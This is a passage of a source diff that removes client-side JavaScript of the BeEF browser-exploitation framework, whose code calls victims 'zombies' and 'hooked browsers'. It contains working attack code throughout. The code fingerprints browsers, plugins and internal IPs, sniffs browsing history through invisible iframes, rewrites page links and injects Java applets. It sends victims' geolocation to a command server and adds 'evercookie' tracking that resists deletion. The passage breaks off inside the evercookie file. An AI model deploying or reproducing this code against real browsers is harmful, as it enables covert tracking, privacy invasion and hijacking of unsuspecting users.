* @example: beef.browser.isC9()
*/
isC9: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==9)?true:false);
},
/**
* Returns true if Chrome 10.
* @example: beef.browser.isC10()
*/
isC10: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==10)?true:false);
},
/**
* Returns true if Chrome.
* @example: beef.browser.isC()
*/
isC: function() {
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10();
},
/**
* Returns true if Opera 9.50 trough 9.52.
* @example: beef.browser.isO952()
*/
isO952: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
},
/**
* Returns true if Opera 9.60 trough 9.64.
* @example: beef.browser.isO960()
*/
isO960: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
},
/**
* Returns true if Opera 10.xx.
* @example: beef.browser.isO10()
*/
isO10: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
},
/**
* Returns true if Opera 11.xx.
* @example: beef.browser.isO11()
*/
isO11: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
},
/**
* Returns true if Opera.
* @example: beef.browser.isO()
*/
isO: function() {
return this.isO952() || this.isO960() || this.isO10() || this.isO11();
},
/**
* Returns the type of browser being used.
* @example: beef.browser.type().IE6
* @example: beef.browser.type().FF
* @example: beef.browser.type().O
*/
type: function() {
return {
C5: this.isC5(), // Chrome 5
C6: this.isC6(), // Chrome 6
C7: this.isC7(), // Chrome 7
C8: this.isC8(), // Chrome 8
C9: this.isC9(), // Chrome 9
C10: this.isC10(), // Chrome 10
C: this.isC(), // Chrome any version
FF2: this.isFF2(), // Firefox 2
FF3: this.isFF3(), // Firefox 3
FF35: this.isFF35(), // Firefox 3.5
FF36: this.isFF36(), // Firefox 3.6
FF4: this.isFF4(), // Firefox 4
FF: this.isFF(), // Firefox any version
IE6: this.isIE6(), // Internet Explorer 6
IE9: this.isIE9(), // Internet Explorer 9
IE8: this.isIE8(), // Internet Explorer 8
IE7: this.isIE7(), // Internet Explorer 7
IE: this.isIE(), // Internet Explorer any version
O952: this.isO952(), // Opera 9.50 trough 9.52
O960: this.isO960(), // Opera 9.60 trough 9.64
O10: this.isO10(), // Opera 10.xx
O11: this.isO11(), // Opera 11.xx
O: this.isO(), // Opera any version
S: this.isS() // Safari any version
}
},
/**
* Returns the type of browser being used.
* @return: {String} User agent software and version.
*
* @example: beef.browser.getBrowserVersion()
*/
getBrowserVersion: function() {
if (this.isC5()) { return '5' }; // Chrome 5
if (this.isC6()) { return '6' }; // Chrome 6
if (this.isC7()) { return '7' }; // Chrome 7
if (this.isC8()) { return '8' }; // Chrome 8
if (this.isC9()) { return '9' }; // Chrome 9
if (this.isC10()) { return '10' }; // Chrome 10
if (this.isFF2()) { return '2' }; // Firefox 2
if (this.isFF3()) { return '3' }; // Firefox 3
if (this.isFF35()) { return '3.5' }; // Firefox 3.5
if (this.isFF36()) { return '3.6' }; // Firefox 3.6
if (this.isFF4()) { return '4' }; // Firefox 4
if (this.isIE6()) { return '6' }; // Internet Explorer 6
if (this.isIE9()) { return '9' }; // Internet Explorer 9
if (this.isIE8()) { return '8' }; // Internet Explorer 8
if (this.isIE7()) { return '7' }; // Internet Explorer 7
if (this.isO952()) { return '9.5' }; // Opera 9.5x
if (this.isO960()) { return '9.6' }; // Opera 9.6
if (this.isO10()) { return '10' }; // Opera 10.xx
if (this.isO11()) { return '11' }; // Opera 11.xx
return 'UNKNOWN'; // Unknown UA
},
/**
* Returns the type of user agent by hooked browser.
* @return: {String} User agent software.
*
* @example: beef.browser.getBrowserName()
*/
getBrowserName: function() {
if (this.isC()) { return 'C' }; // Chrome any version
if (this.isFF()) { return 'FF' }; // Firefox any version
if (this.isIE()) { return 'IE' }; // Internet Explorer any version
if (this.isO()) { return 'O' }; // Opera any version
if (this.isS()) { return 'S' }; // Safari any version
return 'UN'; // Unknown UA
},
/**
* Checks if the zombie has flash installed and enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasFlash()) { ... }
*/
hasFlash: function() {
if (!this.type().IE) {
return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
} else {
flash_versions = 10;
flash_installed = false;
if (window.ActiveXObject) {
for (x = 2; x <= flash_versions; x++) {
try {
Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
if (Flash) {
flash_installed = true;
}
}
catch(e) { }
}
};
return flash_installed;
}
},
/**
* Checks if the zombie has Java installed and enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasJava()) { ... }
*/
hasJava: function() {
if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) {
return true;
}
return false;
},
/**
* Checks if the zombie has VBScript enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasVBScript()) { ... }
*/
hasVBScript: function() {
if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
return true;
} else {
return false;
}
},
/**
* Returns the list of plugins installed in the browser.
*/
getPlugins: function() {
var results = '';
if (this.isIE())
{
results = this.getPluginsIE();
} else {
if (navigator.plugins && navigator.plugins.length > 0)
{
var length = navigator.plugins.length;
for (var i=0; i < length; i++)
{
if (i != 0)
results += ', ';
results += navigator.plugins[i].name;
}
} else {
results = 'navigator.plugins is not supported in this browser!';
}
}
return results;
},
/**
* Returns a list of plugins detected by IE. This is a hack because IE doesn't
* support navigator.plugins
*/
getPluginsIE: function() {
var results = '';
var plugins = {'AdobePDF6':{
'control':'PDF.PdfCtrl',
'return': function(control) {
version = control.getVersions().split(',');
version = version[0].split('=');
return 'Acrobat Reader v'+parseFloat(version[1]);
}},
'AdobePDF7':{
'control':'AcroPDF.PDF',
'return': function(control) {
version = control.getVersions().split(',');
version = version[0].split('=');
return 'Acrobat Reader v'+parseFloat(version[1]);
}},
'Flash':{
'control':'ShockwaveFlash.ShockwaveFlash',
'return': function(control) {
version = control.getVariable('$version').substring(4);
version = version.split(',');
return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]);
}},
'Quicktime':{
'control': 'QuickTime.QuickTime',
'return': function(control) {
return 'QuickTime Player';
}},
'RealPlayer':{
'control': 'RealPlayer',
'return': function(control) {
version = control.getVersionInfo();
return 'RealPlayer v'+parseFloat(version);
}},
'Shockwave':{
'control': 'SWCtl.SWCtl',
'return': function(control) {
version = control.ShockwaveVersion('').split('r');
return 'Shockwave v'+parseFloat(version[0]);
}},
'WindowsMediaPlayer': {
'control': 'WMPlayer.OCX',
'return': function(control) {
return 'Windows Media Player v'+parseFloat(control.versionInfo);
}}
};
if (window.ActiveXObject) {
var j = 0;
for (var i in plugins)
{
var control = null;
var version = null;
try {
control = new ActiveXObject(plugins[i]['control']);
} catch (e) { }
if (control)
{
if (j != 0)
results += ', ';
results += plugins[i]['return'](control);
j++;
}
}
}
return results;
},
/**
* Returns zombie screen size and color depth.
*/
getScreenParams: function() {
return {
width: window.screen.width,
height: window.screen.height,
colordepth: window.screen.colorDepth
}
},
/**
* Returns zombie browser window size.
* @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
*/
getWindowSize: function() {
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
// Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
// IE 6+ in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
// IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
return {
width: myWidth,
height: myHeight
}
},
/**
* Construct hash from browser details. This function is used to grab the browser details during the hooking process
*/
getDetails: function() {
var details = new Array();
var browser_name = beef.browser.getBrowserName();
var browser_version = beef.browser.getBrowserVersion();
var browser_reported_name = beef.browser.getBrowserReportedName();
var page_title = document.title;
var hostname = document.location.hostname;
var browser_plugins = beef.browser.getPlugins();
var os_name = beef.os.getName();
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
if(browser_name) details["BrowserName"] = browser_name;
if(browser_version) details["BrowserVersion"] = browser_version;
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
if(page_title) details["PageTitle"] = page_title;
if(hostname) details["HostName"] = hostname;
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
if(os_name) details['OsName'] = os_name;
if(internal_ip) details['InternalIP'] = internal_ip;
if(internal_hostname) details['InternalHostname'] = internal_hostname;
return details;
},
/**
* Returns array of results, whether or not the target zombie has visited the specified URL
*/
hasVisited: function(urls) {
var results = new Array();
var iframe = beef.dom.createInvisibleIframe();
var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
ifdoc.open();
ifdoc.write('<style>a:visited{width:0px !important;}</style>');
ifdoc.close();
urls = urls.split("\n");
var count = 0;
for (var i in urls)
{
var u = urls[i];
if (u != "" || u != null)
{
var success = false;
var a = ifdoc.createElement('a');
a.href = u;
ifdoc.body.appendChild(a);
var width = null;
(a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
if (width == '0px') {
success = true;
}
results.push({'url':u, 'visited':success});
count++;
}
}
beef.dom.removeElement(iframe);
if (results.length == 0)
{
return false;
}
return results;
},
/**
* Checks if the zombie has Google Gears installed.
* @return: {Boolean} true or false.
*
* @from: https://code.google.com/apis/gears/gears_init.js
* */
hasGoogleGears: function() {
if (window.google && google.gears) {
return true;
}
var ggfactory = null;
// Firefox
if (typeof GearsFactory != 'undefined') {
ggfactory = new GearsFactory();
} else {
// IE
try {
ggfactory = new ActiveXObject('Gears.Factory');
// IE Mobile on WinCE.
if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
ggfactory.privateSetGlobalObject(this);
}
} catch (e) {
// Safari
if ((typeof navigator.mimeTypes != 'undefined')
&& navigator.mimeTypes["application/x-googlegears"]) {
ggfactory = document.createElement("object");
ggfactory.style.display = "none";
ggfactory.width = 0;
ggfactory.height = 0;
ggfactory.type = "application/x-googlegears";
document.documentElement.appendChild(ggfactory);
if(ggfactory && (typeof ggfactory.create == 'undefined')) {
ggfactory = null;
}
}
}
}
if (!ggfactory) {
return false
} else {
return true
}
},
/**
* Changes the favicon in firefox only
**/
changeFavicon: function(favicon_url) {
var link = document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = favicon_url;
document.getElementsByTagName('head')[0].appendChild(link);
},
/**
* Changes page title
**/
changePageTitle: function(title) {
document.title = title;
},
/**
* A function that gets the max number of simaltaneous connections the browser can make
* per domain, or globally on all domains.
*
* This code is based on research from browserspy.dk
*
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
* @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
* the number of connections to the callback function as "this"
*
* example usage:
* $j.when(getMaxConnections()).done(function(){
* console.debug("Max Connections: " + this);
* });
*
*/
getMaxConnections: function(scope) {
var imagesCount = 30; // Max number of images to test.
var secondsTimeout = 5; // Image load timeout threashold.
var testUrl =""; // The image testing service URL.
// User broserspy.dk max connections service URL.
if(scope=='PER_DOMAIN')
testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
else
// The token will be replaced by a different number with each request(different domain).
testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
var imagesLoaded = 0; // Number of responding images before timeout.
var imagesRequested = 0; // Number of requested images.
var testImages = new Array(); // Array of all images.
var deferredObject = $j.Deferred(); // A jquery Deferred object.
for (var i = 1; i <= imagesCount; i++)
{
// Asynchronously request image.
testImages[i] =
$j.ajax({
type: "get",
dataType: true,
url: (testUrl.replace("<token>",i)) + Math.random(),
data: "",
timeout: (secondsTimeout * 1000),
// Function on completion of request.
complete: function(jqXHR, textStatus){
imagesRequested++;
// If the image returns a 200 or a 302, the text Status is "error", else null
if(textStatus == "error")
{
imagesLoaded++;
}
// If all images requested
if(imagesRequested >= imagesCount)
{
// resolve the deferred object passing the number of loaded images.
deferredObject.resolveWith(imagesLoaded);
}
}
});
}
// Return a promise to resolve the deffered object when the images are loaded.
return deferredObject.promise();
}
};
beef.regCmp('beef.browser');

View File

@@ -1,95 +0,0 @@
/*!
* @literal object: beef.browser.cookie
*
* Provides fuctions for working with cookies.
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
* Original author unknown.
*
*/
beef.browser.cookie = {
setCookie: function (name, value, expires, path, domain, secure)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires )
{
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );
document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
( ( path ) ? ";path=" + path : "" ) +
( ( domain ) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
},
getCookie: function(name)
{
var a_all_cookies = document.cookie.split( ';' );
var a_temp_cookie = '';
var cookie_name = '';
var cookie_value = '';
var b_cookie_found = false;
for ( i = 0; i < a_all_cookies.length; i++ )
{
a_temp_cookie = a_all_cookies[i].split( '=' );
cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
if ( cookie_name == name )
{
b_cookie_found = true;
if ( a_temp_cookie.length > 1 )
{
cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
}
return cookie_value;
break;
}
a_temp_cookie = null;
cookie_name = '';
}
if ( !b_cookie_found )
{
return null;
}
},
deleteCookie: function (name, path, domain)
{
if ( this.getCookie(name) ) document.cookie = name + "=" +
( ( path ) ? ";path=" + path : "") +
( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
hasSessionCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', '', '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
},
hasPersistentCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', 1, '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
}
};
beef.regCmp('beef.browser.cookie');

View File

@@ -1,188 +0,0 @@
/*!
* @literal object: beef.dom
*
* Provides functionalities to manipulate the DOM.
*/
beef.dom = {
/**
* Generates a random ID for HTML elements
* @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
* @return: generated id
*/
generateID: function(prefix) {
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
},
/**
* Creates a new element but does not append it to the DOM.
* @param: {String} the name of the element.
* @param: {Literal Object} the attributes of that element.
* @return: the created element.
*/
createElement: function(type, attributes) {
var el = document.createElement(type);
for(index in attributes) {
if(typeof attributes[index] == 'string') {
el.setAttribute(index, attributes[index]);
}
}
return el;
},
/**
* Removes element from the DOM.
* @param: {String or DOM Object} the target element to be removed.
*/
removeElement: function(el) {
if (!beef.dom.isDOMElement(el))
{
el = document.getElementById(el);
}
try {
el.parentNode.removeChild(el);
} catch (e) { }
},
/**
* Tests if the object is a DOM element.
* @param: {Object} the DOM element.
* @return: true if the object is a DOM element.
*/
isDOMElement: function(obj) {
return (obj.nodeType) ? true : false;
},
/**
* Creates an invisible iframe on the hook browser's page.
* @return: the iframe.
*/
createInvisibleIframe: function() {
var iframe = this.createElement('iframe', {
width: '1px',
height: '1px',
style: 'visibility:hidden;'
});
document.body.appendChild(iframe);
return iframe;
},
/**
* @param: {String} type: can be one of the following: hidden, fullscreen, custom
* @param: {String} method: can be 'get' or 'post'. defaults to get
* @param: {Hash} params: list of params that will be sent in request.
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param: {Function} a callback function to fire once the iframe has loaded
* @return: {Object} the inserted iframe
*/
createIframe: function(type, method, params, styles, onload) {
var css = {};
var form_submit = (method.toLowerCase() == 'post') ? true : false;
if (form_submit && params['src'])
{
var form_action = params['src'];
params['src'] = '';
}
if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); }
if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); }
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
if (form_submit && form_action)
{
var id = beef.dom.generateID();
$j(iframe).attr({'id': id, 'name':id});
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
$j(form).prependTo('body').submit();
}
return iframe;
},
/**
* @param: {Hash} params: params to be applied to the form element
* @param: {Boolean} append: automatically append the form to the body
* @return: {Object} a form object
*/
createForm: function(params, append) {
var form = $j('<form></form>').attr(params);
if (append)
$j('body').append(form);
return form;
},
/**
* Get the location of the current page.
* @return: the location.
*/
getLocation: function() {
return document.location.href;
},
/**
* Get links of the current page.
* @return: array of URLs.
*/
getLinks: function() {
var linksarray = [];
var links = document.links;
for(var i = 0; i<links.length; i++) {
linksarray = linksarray.concat(links[i].href)
};
return linksarray
},
/**
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinks: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
return $j(sel).each(function() {
if ($j(this).attr('href') != null)
{
$j(this).attr('href', url).click(function() { return true; });
}
}).length;
},
/**
* @params: {String} id: reference identifier to the applet.
* @params: {String} code: name of the class to be loaded. For example, beef.class.
* @params: {String} archive: the jar that contains the code.
* example usage in code:
* beef.dom.attachApplet('appletId', 'SuperMario3D.class', 'http://127.0.0.1:3000/ui/public/images/target.jar');
*/
attachApplet: function(id, code, archive){
var content = null;
if(beef.browser.isIE()){
content = "" +
"<object classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
"height='350' width='550' > " +
"<param name='code' value='" + code + "' />" +
"<param name='archive' value='" + archive + "' />" +
"</object>";
}else{ // if the hooked browser is not IE, then use the embed tag
content = "" +
"<embed id='" + id + "' code='" + code + "' " +
"type='application/x-java-applet' archive='" + archive + "' " +
"height='350' width='550' >" +
"</embed>";
}
$j('body').append(content);
},
/**
* @params: {String} id: reference identifier to the applet.
*/
detachApplet: function(id){
$j('#' + id + '').detach();
}
};
beef.regCmp('beef.dom');

View File

@@ -1,73 +0,0 @@
// Base64 code from Tyler Akins -- http://rumkin.com
beef.encode = {};
beef.encode.base64 = {
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
if(typeof input != "string")
input = input.toString();
do {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output + this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) + this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
} while (i < input.length);
return output;
},
decode: function(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = this.keyStr.indexOf(input.charAt(i++));
enc2 = this.keyStr.indexOf(input.charAt(i++));
enc3 = this.keyStr.indexOf(input.charAt(i++));
enc4 = this.keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
} while (i < input.length);
return output;
}
}
beef.regCmp('beef.encode.base64');

View File

@@ -1,119 +0,0 @@
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
beef.encode.json = {
stringify: function(o) {
if (typeof(JSON) == 'object' && JSON.stringify)
return JSON.stringify(o);
var type = typeof(o);
if (o === null)
return "null";
if (type == "undefined")
return '\"\"';
if (type == "number" || type == "boolean")
return o + "";
if (type == "string")
return $j.quoteString(o);
if (type == 'object')
{
if (typeof o.toJSON == "function")
return $j.toJSON( o.toJSON() );
if (o.constructor === Date)
{
var month = o.getUTCMonth() + 1;
if (month < 10) month = '0' + month;
var day = o.getUTCDate();
if (day < 10) day = '0' + day;
var year = o.getUTCFullYear();
var hours = o.getUTCHours();
if (hours < 10) hours = '0' + hours;
var minutes = o.getUTCMinutes();
if (minutes < 10) minutes = '0' + minutes;
var seconds = o.getUTCSeconds();
if (seconds < 10) seconds = '0' + seconds;
var milli = o.getUTCMilliseconds();
if (milli < 100) milli = '0' + milli;
if (milli < 10) milli = '0' + milli;
return '"' + year + '-' + month + '-' + day + 'T' +
hours + ':' + minutes + ':' + seconds +
'.' + milli + 'Z"';
}
if (o.constructor === Array)
{
var ret = [];
for (var i = 0; i < o.length; i++)
ret.push( $j.toJSON(o[i]) || "null" );
return "[" + ret.join(",") + "]";
}
var pairs = [];
for (var k in o) {
var name;
var type = typeof k;
if (type == "number")
name = '"' + k + '"';
else if (type == "string")
name = $j.quoteString(k);
else
continue; //skip non-string or number keys
if (typeof o[k] == "function")
continue; //skip pairs where the value is a function.
var val = $j.toJSON(o[k]);
pairs.push(name + ":" + val);
}
return "{" + pairs.join(", ") + "}";
}
},
quoteString: function(string) {
if (string.match(this._escapeable))
{
return '"' + string.replace(this._escapeable, function (a)
{
var c = this._meta[a];
if (typeof c === 'string') return c;
c = a.charCodeAt();
return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
}) + '"';
}
return '"' + string + '"';
},
_escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
_meta : {
'\b': '\\b',
'\t': '\\t',
'\n': '\\n',
'\f': '\\f',
'\r': '\\r',
'"' : '\\"',
'\\': '\\\\'
}
}
$j.toJSON = function(o) {return beef.encode.json.stringify(o);}
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);}
beef.regCmp('beef.encode.json');

View File

@@ -1,94 +0,0 @@
/*!
* @literal object: beef.geolocation
*
* Provides functionalities to use the geolocation API.
*/
beef.geolocation = {
/**
* check if browser supports the geolocation API
*/
isGeolocationEnabled: function(){
return !!navigator.geolocation;
},
/*
* given latitude/longitude retrieves exact street position of the zombie
*/
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
// fixes damned issues with jquery 1.5, like this one:
// http://bugs.jquery.com/ticket/8084
$j.ajaxSetup({
jsonp: null,
jsonpCallback: null
});
$j.ajax({
error: function(xhr, status, error){
//console.log("[geolocation.js] openstreetmap error");
beef.net.send(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
+ "&osm=UNAVAILABLE"
+ "&geoLocEnabled=True");
},
success: function(data, status, xhr){
//console.log("[geolocation.js] openstreetmap success");
var jsonResp = $j.parseJSON(data);
beef.net.send(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
// + "&osm=" + encodeURI(jsonResp.display_name)
+ "&osm=tofix"
+ "&geoLocEnabled=True");
},
type: "get",
url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
});
},
/*
* retrieve latitude/longitude using the geolocation API
*/
getGeolocation: function (command_url, command_id){
if (!navigator.geolocation) {
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
return;
}
//console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
navigator.geolocation.getCurrentPosition( //note: this is an async call
function(position){ // success
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
//console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
}, function(error){ // failure
//console.log("[geolocation.js] error [%d] getting position", error.code);
switch(error.code) // Returns 0-3
{
case 0:
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
return;
case 1:
beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
return;
case 2:
beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
return;
case 3:
beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
return;
}
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
},
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
);
}
}
beef.regCmp('beef.geolocation');

View File

@@ -1,23 +0,0 @@
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
// and will have a new session id. The new session id will need to know
// the brwoser details. So sendback the browser details again.
BEEFHOOK=beef.session.get_hook_session_id()
if( beef.pageIsLoaded ) {
beef.net.browser_details();
}
window.onload = function() {
beef_init();
}
function beef_init() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
beef.net.browser_details()
beef.updater.execute_commands();
beef.updater.check();
}
}

View File

@@ -1,977 +0,0 @@
/*
* evercookie 0.4 (10/13/2010) -- extremely persistent cookies
*
* by samy kamkar : code@samy.pl : http://samy.pl
*
* this api attempts to produce several types of persistent data
* to essentially make a cookie virtually irrevocable from a system
*
* specifically it uses:
* - standard http cookies
* - flash cookies (local shared objects)
* - silverlight isolated storage
* - png generation w/forced cache and html5 canvas pixel reading
* - http etags
* - http cache
* - window.name
* - IE userData
* - html5 session cookies
* - html5 local storage
* - html5 global storage
* - html5 database storage via sqlite
* - css history scanning
*
* if any cookie is found, it's then reset to all the other locations
* for example, if someone deletes all but one type of cookie, once
* that cookie is re-discovered, all of the other cookie types get reset
*
* !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
* OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
*
* USAGE:
var ec = new evercookie();
// set a cookie "id" to "12345"
// usage: ec.set(key, value)
ec.set("id", "12345");
// retrieve a cookie called "id" (simply)
ec.get("id", function(value) { alert("Cookie value is " + value) });
// or use a more advanced callback function for getting our cookie
// the cookie value is the first param
// an object containing the different storage methods
// and returned cookie values is the second parameter
function getCookie(best_candidate, all_candidates)
{
alert("The retrieved cookie is: " + best_candidate + "\n" +
"You can see what each storage mechanism returned " +
"by looping through the all_candidates object.");
for (var item in all_candidates)
document.write("Storage mechanism " + item +
" returned " + all_candidates[item] + " votes<br>");
}
ec.get("id", getCookie);
// we look for "candidates" based off the number of "cookies" that
// come back matching since it's possible for mismatching cookies.
// the best candidate is very-very-likely the correct one
*/
/* to turn off CSS history knocking, set _ec_history to 0 */
var _ec_history = 1; // CSS history knocking or not .. can be network intensive
var _ec_tests = 10;//1000;
var _ec_debug = 0;
function _ec_dump(arr, level)
{
var dumped_text = "";
if(!level) level = 0;
//The padding given at the beginning of the line.
var level_padding = "";
for(var j=0;j<level+1;j++) level_padding += " ";
if(typeof(arr) == 'object') { //Array/Hashes/Objects
for(var item in arr) {
var value = arr[item];
if(typeof(value) == 'object') { //If it is an array,
dumped_text += level_padding + "'" + item + "' ...\n";
dumped_text += _ec_dump(value,level+1);
} else {
dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
}
}
} else { //Stings/Chars/Numbers etc.
dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
}
return dumped_text;
}
function _ec_replace(str, key, value)
{
if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
{
// find start
var idx = str.indexOf('&' + key + '=');
if (idx == -1)
idx = str.indexOf(key + '=');
// find end
var end = str.indexOf('&', idx + 1);
var newstr;
if (end != -1)
newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
else
newstr = str.substr(0, idx) + '&' + key + '=' + value;
return newstr;
}
else
return str + '&' + key + '=' + value;
}
// necessary for flash to communicate with js...
// please implement a better way
var _global_lso;
function _evercookie_flash_var(cookie)
{
_global_lso = cookie;
// remove the flash object now
var swf = $('#myswf');
if (swf && swf.parentNode)
swf.parentNode.removeChild(swf);
}
var evercookie = (function () {
this._class = function() {
var self = this;
// private property
_baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
this._ec = {};
var no_color = -1;
this.get = function(name, cb, dont_reset)
{
$(document).ready(function() {
self._evercookie(name, cb, undefined, undefined, dont_reset);
});
}
this.set = function(name, value)
{
$(document).ready(function() {
self._evercookie(name, function() { }, value);
});
}
this._evercookie = function(name, cb, value, i, dont_reset)
{
if (typeof self._evercookie == 'undefined')
self = this;
